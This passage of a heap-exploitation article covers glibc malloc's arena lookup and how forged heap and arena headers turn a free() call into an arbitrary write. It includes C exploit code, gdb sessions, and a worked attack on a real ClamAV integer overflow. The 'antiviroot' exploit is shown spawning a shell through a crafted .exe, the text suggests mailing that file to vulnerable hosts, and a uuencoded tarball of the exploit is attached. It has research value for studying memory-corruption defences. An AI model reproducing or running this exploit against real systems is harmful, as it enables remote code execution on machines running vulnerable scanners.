The arena for chunk 'p' is first looked up and then used in the unsorted_chunks() macro. What is now really interesting is the way the malloc() implementation finds the arena for a given chunk.

```
--- snip ---
#define arena_for_chunk(ptr) \
 (chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena)
--- snip ---

--- snip ---
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
--- snip ---

--- snip ---
#define heap_for_ptr(ptr) \
 ((heap_info *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE-1)))
--- snip ---
```

For a given chunk (like 'p' in the previous snippet), glibc checks whether this chunk belongs to the main arena by looking at the 'size' field. If the NON_MAIN_ARENA flag is set, heap_for_ptr() is called and the 'ar_ptr' field is returned. Since the attacker controls the 'size' field of a chunk during an overflow condition, she can set or unset this flag at will. But let's see what's the return value of heap_for_ptr() for some sample chunk addresses.

```
--- snip ---
#include <stdio.h>
#include <stdlib.h>

#define HEAP_MAX_SIZE (1024*1024)

#define heap_for_ptr(ptr) \
 ((void *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE-1)))

int main(int argc, char *argv[]) {
  size_t i, n;
  void *chunk, *heap;

  if(argc != 2) {
    fprintf(stderr, "%s <n>\n", argv[0]);
    return -1;
  }

  if((n = atoi(argv[1])) <= 0)
    return -1;

  chunk = heap = NULL;
  for(i = 0; i < n; i++) {
     while((chunk = malloc(1024)) != NULL) {
       if(heap_for_ptr(chunk) != heap) {
         heap = heap_for_ptr(chunk);
         break;
       }
     }

     fprintf(stderr, "%.2d heap address: %p\n",
       i+1, heap);
  }

  return 0;
}
--- snip ---
```

Let’s compile and run.

```
--- snip ---
$ ./test 10
01 heap address: 0x8000000
02 heap address: 0x8100000
03 heap address: 0x8200000
04 heap address: 0x8300000
05 heap address: 0x8400000
06 heap address: 0x8500000
07 heap address: 0x8600000
08 heap address: 0x8700000
09 heap address: 0x8800000
10 heap address: 0x8900000
--- snip ---
```

This code prints the first N heap addresses. So, for a chunk that has an address of 0xdeadbeef, its heap location is at most 1Mbyte backwards. Precisely, chunk 0xdeadbeef belongs to heap 0xdea00000. So if an attacker controls the location of a chunk’s theoretical heap address, then by overflowing the ’size’ field of this chunk, they can fool free() to assume that a valid heap header is stored there. Then, by carefully setting up fake heap and arena headers, an attacker may be able to force unsorted_chunks() to return a value of their choice.

This is not a rare situation; in fact this is how most real life heap exploits work. Forcing the target application to perform a number of continuous allocations, helps the attacker control the arena header. Since the heap is not randomized and the chunks are sequentially allocated, the heap addresses are static and can be used across all targets! Even if the target system is equipped with the latest kernel and has heap randomization enabled, the heap addresses can be easily brute forced since a potential attacker only needs to know the upper part of an address rather than some specific location in the virtual address space.

Notice that the code shown in the previous snippet always produces the same results and precisely the ones depicted above. That is, given the approximation of the address of some chunk one tries to overflow, the heap address can be easily precalculated using heap_for_ptr().

For example, suppose that the last chunk allocated by some application is located at the address 0x080XXXXX. Suppose that this chunk belongs to the main arena, but even If it wouldn’t, its heap address would be 0x080XXXXX & 0xfff00000 = 0x08000000. All one has to do is to force the application perform a number of allocations until the target chunk lies beyond 0x08100000. Then, if the target chunk has an address of 0x081XXXXX, by overflowing its ’size’ field, one can make free() assume that it belongs to some heap located at 0x08100000. This area is controlled by the attacker who can place arbitrary data there. When public_fREe() is called and sees that the heap address for the chunk to be freed is 0x08100000, it will parse the data there as if it were a valid arena. This will give the attacker the chance to control the return value of unsorted_chunks().

---[VI. Creating fake heap and arena headers

Once an attacker controls the contents of the heap and arena headers, what are they supposed to place there? Placing random arbitrary values may result in the target application getting stuck by entering endless loops or even segfaulting before its time, so, one should be careful in not causing such side effects. In this section, we deal with this problem. Proper values for various fields are shown and an exploit for our example code is developed.

Right after entering _int_free(), do_check_chunk() is called in order to perform lightweight sanity checks on the chunk being freed. Below is a code snippet taken from the aforementioned function. Certain pieces were removed for clarity.

```
--- snip ---
char *max_address = (char*)(av->top) + chunksize(av->top);
char *min_address = max_address - av->system_mem;

if(p != av->top) {
  if(contiguous(av)) {
    assert(((char*)p) >= min_address);
    assert(((char*)p + sz) <= ((char*)(av->top)));
  }
}
--- snip ---
```

The do_check_chunk() code fetches the pointer to the topmost chunk as well as its size. Then ’max_address’ and ’min_address’ get the values of the higher and the lower available address for this arena respectively. Then, ’p’, the pointer to the chunk being freed is checked against the pointer to the topmost chunk. Since one should not free the topmost chunk, this code is, under normal conditions, bypassed. Next, the arena named ’av’, is tested for contiguity. If it’s contiguous, chunk ’p’ should fall within the boundaries of its arena; if not the checks are kindly ignored.

So far there are two restrictions. The attacker should provide a valid ’av->top’ that points to a valid ’size’ field. The next set of restrictions are the assert() checks which will mess the exploitation. But let’s first focus on the macro named contiguous().

```
--- snip ---
#define NCONTIGUOUS_BIT  (2U)
#define contiguous(M)    (((M)->flags & NONCONTIGUOUS_BIT) == 0)
--- snip ---
```

Since the attacker controls the arena flags, if they set it to some integer having the third least significant bit set, then contiguous(av) is false and the assert() checks are ignored. Additionally, providing an ’av->top’ pointer equal to the heap address, results in ’max_address’ and 'min_address' getting valid values, thus avoiding annoying segfaults due to invalid pointer accesses. It seems that the first set of problems was easily solved.

Do you think it's over? Hell no. After some lines of code are executed, _int_free() uses the macro __builtin_expect() to check if the size of the chunk right next to the one being freed (the third chunk) is larger than the total available memory of the arena. This is a good measure for detecting overflows and any decent attacker should get away with it.

```
--- snip ---
nextsize = chunksize(nextchunk);
if(__builtin_expect(nextchunk->size <= 2 * SIZE_SZ, 0)
  || __builtin_expect(nextsize >= av->system_mem, 0)) {
    errstr = "free(): invalid next size (normal)";
    goto errout;
}
--- snip ---
```

By setting 'av->system_mem' equal to 0xffffffff, one can bypass any check regarding the available memory and obviously this one as well. Although important for the internal workings of malloc(), the 'av->max_system_mem' field can be zero since it won't get on the attacker's way.

Unfortunately, before even reaching _int_free(), in public_fREe(), the mutex for the current arena is locked. Here's the snippet trying to achieve a valid lock sequence.

```
--- snip ---
#if THREAD_STATS
  if(!mutex_trylock(&ar_ptr->mutex))
    ++(ar_ptr->stat_lock_direct);
  else {
    mutex_lock(&ar_ptr->mutex);
    ++(ar_ptr->stat_lock_wait);
  }
#else
  mutex_lock(&ar_ptr->mutex);
#endif
--- snip ---
```

In order to see what happens I had to delve into the internals of the NPTL library (also part of glibc). Since NPTL is out of the scope of this article I won't explain everything here. Briefly, the mutex is represented by a pthread_mutex_t structure consisting of 5 integers. Giving invalid or random values to these integers will result in the code waiting until mutex's release. After messing with the NPTL internals, I noticed that setting all the integers to 0 will result in the mutex being acquired and locked properly. The code then continues execution without further problems.

Right now there are no more restrictions, we can just place the value 0x08100020 (the heap header offset plus the heap header size) in the 'ar_ptr' field of the _heap_info structure, and give the value retloc-12 to bins[0] (where retloc is the return location where the return address will be written). Recall that the return address points to the 'prev_size' field of the chunk being freed, an integer under the attacker's control. What should one place there? This is another problem that needs to be solved.

Since only a small amount of bytes is needed for the heap and the arena headers at 0x08100000 (or similar address), one can use this area for storing shellcode and nops as well. By setting the 'prev_size' field of the chunk being freed equal to a JMP instruction, one can branch some bytes ahead or backwards so that execution is transfered somewhere in 0x08100000 but, still, after the heap and arena headers!

Valid locations are 0x08100000+X with X >= 72, that is, X should be an offset after the heap header and after bins[0]. This is not as complicated as it sounds, in fact, all addresses needed for exploitation are static and can be easily precalculated!

The code below triggers a ’4 bytes anywhere’ condition.

```
--- snip ---
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
  char buffer[65535], *arena, *chunks;

  /* Clean up the buffer. */
  bzero(buffer, sizeof(buffer));

  /* Pointer to the beginning of the arena header. */
  arena = buffer + 360;

  /* Pointer to the arena header -- offset 0. */
  *(unsigned long int *)&arena[0]  = 0x08100000 + 12;

  /* Arena flags -- offset 16. */
  *(unsigned long int *)&arena[16] = 2;

  /* Pointer to fake top -- offset 60. */
  *(unsigned long int *)&arena[60]  = 0x08100000;

  /* Return location minus 12 -- offset 68. */
  *(unsigned long int *)&arena[68]  = 0x41414141 - 12;

  /* Available memory for this arena -- offset 1104. */
  *(unsigned long int *)&arena[1104]  = 0xffffffff;

  /* Pointer to the second chunk’s prev_size (shellcode). */
  chunks = buffer + 10240;
  *(unsigned long int *)&chunks[0] = 0xdeadbeef;

  /* Pointer to the second chunk. */
  chunks = buffer + 10244;

  /* Size of the second chunk (PREV_INUSE+NON_MAIN_ARENA). */
  *(unsigned long int *)&chunks[0] = 0x00000055;

  /* Pointer to the third chunk. */
  chunks = buffer + 10244 + 80;

  /* Size of the third chunk (PREV_INUSE). */
  *(unsigned long int *)&chunks[0] = 0x00000051;

  /* Pointer to the fourth chunk. */
  chunks = buffer + 10244 + 80 + 80;

  /* Size of the fourth chunk (PREV_INUSE). */
  *(unsigned long int *)&chunks[0] = 0x00000051;

  write(1, buffer, 10244 + 80 + 80 + 4);
  return;
}
--- snip ---

--- snip ---
$ gcc exploit.c -o exploit
$ ./exploit > VECTOR
$ gdb -q ./test
(gdb) b _int_free
```

```
Function "_int_free" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (_int_free) pending.
(gdb) run 722 1024 < VECTOR
Starting program: /home/huku/test 722 1024 < VECTOR
[˜] Allocated 1024 bytes at 0x804a008-0x804a408
[˜] Allocated 1024 bytes at 0x804a410-0x804a810
[˜] Allocated 1024 bytes at 0x804a818-0x804ac18
...
...
[˜] Allocated 1024 bytes at 0x80ffa90-0x80ffe90
[˜] Chunk 1 at 0x80ffe98-0x8100298
[˜] Chunk 2 at 0x81026a0
[˜] Chunk 3 at 0x81026f0
[˜] Chunk 4 at 0x8102740
[˜] Freeing 0x81026a0

Breakpoint 1, _int_free (av=0x810000c, mem=0x81026a0) at malloc.c:4552
4552      p = mem2chunk(mem);
(gdb) print *av
$1 = {mutex = 1, flags = 2, fastbins = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0}, top = 0x8100000, last_remainder = 0x0, bins = {0x41414135,
0x0 <repeats 253 times>},
  binmap = {0, 0, 0, 0}, next = 0x0, system_mem = 4294967295,
max_system_mem = 0}
--- snip ---
```

It seems that all the values for the arena named ’av’, are in position.

```
--- snip ---
(gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
_int_free (av=0x810000c, mem=0x81026a0) at malloc.c:4698
4698          fwd->bk = p;
(gdb) print (void *)fwd
$2 = (void *) 0x41414135
(gdb) print (void *)fwd->bk
Cannot access memory at address 0x41414141
(gdb) print (void *)p
$3 = (void *) 0x8102698
(gdb) x/4bx p
0x8102698:      0xef    0xbe    0xad    0xde
(gdb) q
The program is running.  Exit anyway? (y or n) y
--- snip ---
```

Indeed, ’fwd->bk’ is the return location (0x41414141) and ’p’ is the return address (the address of the ’prev_size’ of the second chunk). The attacker placed there the data 0xdeadbeef. So, it’s now just a matter of placing the nops and the shellcode at the proper location. This is, of course, left as an exercise for the reader (the .dtors section is your friend) :-)

---[VII. Putting it all together

It’s now time to develop a logical plan of what some attacker is supposed to do in order to take advantage of such a security hole. Although it should be quite clear by now, the steps required for successful exploitation are listed below.

* An attacker must force the program perform sequential allocations in the heap and eventually control a chunk whose boundaries contain the new theoretical heap address. For example, if allocations start

at 0x080XXXXX then they should allocate chunks until the one they control contains the address 0x08100000 within its bounds. The chunks should be larger than 64 bytes but smaller than the mmap() threshold. If the target program has already performed several allocations, it is highly possible that allocations start at 0x08100000.

* An attacker must make sure that they can overflow the chunk right next to the one under their control. For example, if the chunk from 0x080XXXXX to 0x08101000 is under control, then chunk 0x08101001-0x0810XXXX should be overflowable (or just any chunk at 0x081XXXXX).

* A fake heap header followed by a fake arena header should be placed at 0x08100000. Their base addresses in the VA space are 0x08100000 and 0x08100000 + sizeof(struct _heap_info) respectively. The bins[0] field of the fake arena header should be set equal to the return location minus 12 and the rules described in the previous section should be followed for better results. If there's enough room, one can also add nops and shellcode there, if not then imagination is the only solution (the contents of the following chunk are under the attacker's control as well).

* A heap overflow should be forced via a memcpy(), bcopy(), read() or similar functions. The exploitation vector should be just like the one created by the code in the previous section. Schematically, it looks like the following figure (the pipe character indicates the chunk boundaries).

```
[heap_hdr][arena_hdr][...]|[AAAA][...]|[BBBB][...]|[CCCC]

  [heap_hdr] -> The fake heap header. It should be placed on an
  address aligned to 1Mb e.g 0x08100000.

  [arena_hdr] -> The fake arena header.

  [...] -> Irrelevant data, garbage, alphas etc. If there's enough
  room, one can place nops and shellcode here.

  [AAAA] -> The size of the second chunk plus PREV_INUSE and
  NON_MAIN_ARENA.

  [BBBB] -> The size of the third chunk plus PREV_INUSE.

  [CCCC] -> The size of the fourth chunk plus PREV_INUSE.
```

* The attacker should be patient enough to wait until the chunk right next to the one she controls is freed. Voila!

Although this technique can be quite lethal as well as straightforward, unfortunately it's not as generic as the heap overflows of the good old days. That is, when applied, it can achieve immediate and trustworthy results. However, it has a higher complexity than, for example, common stack overflows, thus certain prerequisites should be met before even someone attempts to deploy such an attack. More precisely, the following conditions should be true.

* The target chunks should be larger than 64 bytes and less than the mmap() threshold.

* An attacker must have the ability to control 4 sequential chunks either directly allocated or fake ones constructed by them.

* An attacker must have the ability to write null bytes. That is, one should be able to overflow the chunks via memcpy(), bcopy(), read() or similar since strcpy() or strncpy() will not work! This is probably the most important precondition for this technique.

---[VIII. The ClamAV case

--[1. The bug

Let's use the knowledge described so far to build a working exploit for a known application. After searching at secunia.com for heap overflows, I came up with a list of possible targets, the most notable one being ClamAV. The cli_scanpe() integer overflow was a really nice idea, so, I decided to research it a bit (the related advisory is published at [12]). The exploit code for this vulnerability, called 'antiviroot', can be found in the 'Attachments' section in uuencoded format.

Before attempting to audit any piece of code, the potential attacker is advised to build ClamAV using a custom version of glibc with debugging symbols (I also modified glibc a bit to print various stuff). After following Chariton's ideas described at [11], one can build ClamAV using the commands of the following snippet. It is rather complicated but works fine. This trick is really useful if one is about to use gdb during the exploit development.

```
--- snip ---
$ export LDFLAGS=-L/home/huku/test_builds/lib -L/usr/local/lib -L/usr/lib
$ export CFLAGS=-O0 -nostdinc \
> -I/usr/lib/gcc/i686-pc-linux-gnu/4.2.2/include \
> -I/home/huku/test_builds/include -I/usr/include -I/usr/local/include \
> -Wl,-z,nodeflib \
> -Wl,-rpath=/home/huku/test_builds/lib -B /home/huku/test_builds/lib \
> -Wl,--dynamic-linker=/home/huku/test_builds/lib/ld-linux.so.2
$ ./configure --prefix=/usr/local && make && make install
--- snip ---
```

When make has finished its job, we have to make sure everything is ok by running ldd on clamscan and checking the paths to the shared libraries.

```
--- snip ---
$ ldd /usr/local/bin/clamscan
 linux-gate.so.1 =>  (0xb7ef4000)
 libclamav.so.2 => /usr/local/lib/libclamav.so.2 (0xb7e4e000)
 libpthread.so.0 => /home/huku/test_builds/lib/libpthread.so.0 (0xb7e37000)
 libc.so.6 => /home/huku/test_builds/lib/libc.so.6 (0xb7d08000)
 libz.so.1 => /usr/lib/libz.so.1 (0xb7cf5000)
 libbz2.so.1.0 => /usr/lib/libbz2.so.1.0 (0xb7ce5000)
 libnsl.so.1 => /home/huku/test_builds/lib/libnsl.so.1 (0xb7cd0000)
 /home/huku/test_builds/lib/ld-linux.so.2 (0xb7ef5000)
--- snip ---
```

Now let's focus on the buggy code. The actual vulnerability exists in the preprocessing of PE (Portable Executable) files, the well known Microsoft Windows executables. Precisely, when ClamAV attempts to dissect the headers produced by a famous packer, called MEW, an integer overflow occurs which later results in an exploitable condition. Notice that this bug can be exploited using various techniques but for demonstration purposes I'll stick to the one I presented here. In order to have a more clear insight on how things work, you are also advised to read the Microsoft PE/COFF specification [13] which, surprisingly, is free for download.

Here's the vulnerable snippet, libclamav/pe.c function cli_scanpe(). I actually simplified it a bit so that the exploitable part becomes more clear.

```
--- snip ---
ssize = exe_sections[i + 1].vsz;
dsize = exe_sections[i].vsz;
...
```

```
src = cli_calloc(ssize + dsize, sizeof(char));
...

bytes = read(desc, src + dsize, exe_sections[i + 1].rsz);
--- snip --
```

First, 'ssize' and 'dsize' get their initial values which are controlled by the attacker. These values represent the virtual size of two contiguous sections of the PE file being scanned (don't try to delve into the MEW packer details since you won't find any documentation which will be useless even if you will). The sum of these user supplied values is used in cli_calloc() which, obviously, is just a calloc() wrapper. This allows for an arbitrary sized heap allocation, which can later be used in the read operation. There are endless scenarios here, but lets see what are the potentials of achieving code execution using the new free() exploitation technique.

Several limitations that are imposed before the vulnerable snippet is reached, make the exploitation process overly complex (MEW fixed offsets, several bound checks on PE headers etc). Let's ignore them for now since they are only interesting for those who are willing to code an exploit of their own. What we are really interested in, is just the core idea behind this exploit.

Since 'dsize' is added to 'src' in the read() operation, the attacker can give 'dsize' such a value, so that when added to 'src', the heap address of 'src' is eventually produced (via an integer overflow). Then, read(), places all the user supplied data there, which may contain specially crafted heap and arena headers, etc. So schematically, the situation looks like the following figure (assuming the 'src' pointer has a value of 0xdeadbeef):

```
   0xdea00000                   0xdeadbeef
...+----------+-----------+-...-+-------------+--------------+...
   | Heap hdr | Arena hdr |     | Chunk 'src' | Other chunks |
...+----------+-----------+-...-+-------------+--------------+...
```

So, if one manages to overwrite the whole region, from the heap header to the 'src' chunk, then they can also overwrite the chunks neighboring 'src' and perform the technique presented earlier. But there are certain obstacles which can't be just ignored:

* From 0xdea00000 to 0xdeadbeef various chunks may also be present, and overwriting this region may result in premature terminations of the ClamAV scan process.

* 3 More chunks should be present right after the 'src' chunk and they should be also alterable by the overflow.

* One needs the actual value of the 'src' pointer.

Fortunately, there's a solution for each of them:

* One can force ClamAV not to mess with the chunks between the heap header and the 'src' chunk. An attacker may achieve this by following a precise vulnerable path.

* Unfortunately, due to the heap layout during the execution of the buggy code, there are no chunks right after 'src'. Even if there were, one wouldn't be able to reach them due to some internal size checks in the cli_scanpe() code. After some basic math calculations (not presented here since they are more or less trivial), one can prove that the only chunk they can overwrite is the chunk pointed by 'src'. Then, cli_calloc() can be forced to allocate such a chunk, where one can place 4 fake chunks of a size larger than 72. This is exactly the same situation as having 4 contiguous preallocated heap chunks! :-)

* Since the heap is, by default, not randomized, one can precalculate the 'src' value using gdb or some custom malloc() debugger (just like I did). This specific bug is hard to exploit when randomization is enabled. On the contrary, the general technique presented in this article, is immune to such security measures.

Optionally, an attacker can force ClamAV allocate the 'src' chunk somewhere inside a heap hole created by realloc() or free(). This allows for the placement of the target chunk some bytes closer to the fake heap and arena headers, which, in turn, may allow for bypassing certain bound checks. Before the vulnerable snippet is reached, the following piece of code is executed:

```
--- snip ---
section_hdr = (struct pe_image_section_hdr *)cli_calloc(nsections,
  sizeof(struct pe_image_section_hdr));
...

exe_sections = (struct cli_exe_section *)cli_calloc(nsections,
  sizeof(struct cli_exe_section));
...

free(section_hdr);
--- snip ---
```

This creates a hole at the location of the 'section_hdr' chunk. By carefully computing values for 'dsize' and 'ssize' so that their sum equals the product of 'nsections' and 'sizeof(struct pe_image_section_hdr)', one can make cli_calloc() reclaim the heap hole and return it (this is what antiviroot actually does). Notice that apart from the aforementioned condition, the value of 'dsize' should be such, so that 'src + dsize' equals to the heap address of 'src' (a.k.a. 'heap_for_ptr(src)').

Finally, in order to trigger the vulnerable path in malloc.c, a free() should be issued on the 'src' chunk. This should be performed as soon as possible, since the MEW unpacking code may mess with the contents of the heap and eventually break things. Hopefully, the following code can be triggered in the ClamAV source.

```
--- snip ---
if(buff[0x7b] == '\xe8') {
  ...

  if(!CLI_ISCONTAINED(exe_sections[1].rva, exe_sections[1].vsz,
    cli_readint32(buff + 0x7c) + fileoffset + 0x80, 4)) {
    ...

    free(src);
  }
}
--- snip ---
```

By planting the value 0xe8 in offset 0x7b of 'buff' and by forcing CLI_ISCONTAINED() to fail, one can force ClamAV to call free() on the 'src' chunk (the chunk whose header contains the NON_MAIN_ARENA flag when the read() operation completes). A '4 bytes anywhere' condition eventually takes place. In order to prevent ClamAV from crashing on the next free(), one can overwrite the .got address of free() and wait.

--[2. The exploit

So, here's how the exploit for this ClamAV bug looks like. For more info on the exploit usage you can check the related README file in the attachment. This code creates a specially crafted .exe file, which, when passed to clamscan, spawns a shell.

```
--- snip ---
$ ./antiviroot -a 0x98142e0 -r 0x080541a8 -s 441
CLAMAV 0.92.x cli_scanpe() EXPLOIT / antiviroot.c
huku / huku _at_ grhack _dot_ net

[~] Using address=0x098142e0 retloc=0x080541a8 size=441 file=exploit.exe
[~] Corrected size to 480
[~] Chunk 0x098142e0 has real address 0x098142d8
[~] Chunk 0x098142e0 belongs to heap 0x09800000
[~] 0x098142d8-0x09800000 = 82648 bytes space (0.08M)
[~] Calculating ssize and dsize
[~] dsize=0xfffebd20 ssize=0x000144c0 size=480
[~] addr=0x098142e0 + dsize=0xfffebd20 = 0x09800000 (should be 0x09800000)
[~] dsize=0xfffebd20 + ssize=0x000144c0 = 480 (should be 480)
[~] Available space for exploitation 488 bytes (0.48K)
[~] Done
$ /usr/local/bin/clamscan exploit.exe
LibClamAV Warning: **************************************************
LibClamAV Warning: ***  The virus database is older than 7 days.  ***
LibClamAV Warning: ***        Please update it IMMEDIATELY!       ***
LibClamAV Warning: **************************************************
...

sh-3.2$ echo yo
yo
sh-3.2$ exit
exit
--- snip ---
```

A more advanced scenario would be attaching the executable file and mailing it to a couple of vulnerable hosts and... KaBooM! Eventually, it seems that our technique is quite lethal even for real life scenarios. More advancements are possible, of course, they are left as an exercise to the reader :-)

---[IX. Epilogue

Personally, I belong with those who believe that the future of exploitation lies somewhere in kernelspace. The various userspace techniques are, like g463 said, more or less ephemeral. This paper was just the result of some fun I had with the glibc malloc() implementation, nothing more, nothing less.

Anyway, all that stuff kinda exhausted me. I wouldn’t have managed to write this article without the precious help of GM, eidimon and Slasher (yo guys!).

Dedicated to the r00thell clique -- Wherever you are and whatever you do, I wish you guys (and girls ;-) all the best.

---[X. References

[01] Vudo - An object superstitiously believed to embody magical powers
Michel "MaXX" Kaempf <maxx@synnergy.net>
http://www.phrack.org/issues.html?issue=57&id=8#article

[02] Once upon a free()...
anonymous <d45a312a@author.phrack.org>
http://www.phrack.org/issues.html?issue=57&id=9#article

[03] Advanced Doug lea’s malloc exploits
jp <jp@corest.com>
http://www.phrack.org/issues.html?issue=61&id=6#article

[04] w00w00 on Heap Overflows

```
     Matt Conover & w00w00 Security Team
     http://www.w00w00.org/files/articles/heaptut.txt

[05] Heap off by one
     qitest1 <qitest1@bespin.org>
     http://freeworld.thc.org/root/docs/exploit_writing/heap_off_by_one.txt

[06] The Malloc Maleficarum
     Phantasmal Phantasmagoria <phantasmal@hush.ai>
     http://www.packetstormsecurity.org/papers/attack/MallocMaleficarum.txt

[07] JPEG COM Marker Processing Vulnerability in Netscape Browsers
     Solar Designer <solar@openwall.com>
     http://www.openwall.com/advisories/OW-002-netscape-jpeg/

[08] Glibc heap protection patch
     Stefan Esser <stefan@suspekt.org>
     http://seclists.org/focus-ids/2003/Dec/0024.html

[09] Exploiting the Wilderness
     Phantasmal Phantasmagoria <phantasmal@hush.ai>
     http://seclists.org/vuln-dev/2004/Feb/0025.html

[10] The use of set_head to defeat the wilderness
     g463 <jean-sebastien@guay-leroux.com>
     http://www.phrack.org/issues.html?issue=64&id=9#article

[11] Two (or more?) glibc installations
     Chariton Karamitas <chariton.karamitas@echothrust.com>
     http://blogs.echothrust.com/chariton-karamitas/two-or-more-glibc-installations

[12] ClamAV Multiple Vulnerabilities
     Secunia Research
     http://secunia.com/advisories/28117/

[13] Portable Executable and Common Object File Format Specification
     Microsoft
     http://www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx
```

XI. Attachments

```
begin 600 antiviroot.tar.gz
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
S7:HMBGI3&*B+FVE)#<!O0T8&I9$&]=X1-OT]63DRY"*#H,(&#24A0Z*[^WO
@N#HL6%4=H;OC?]N2_?ZN4?_(^'M<]M^5M#_JF;-2NP_+9/*6;5&H[76__X-
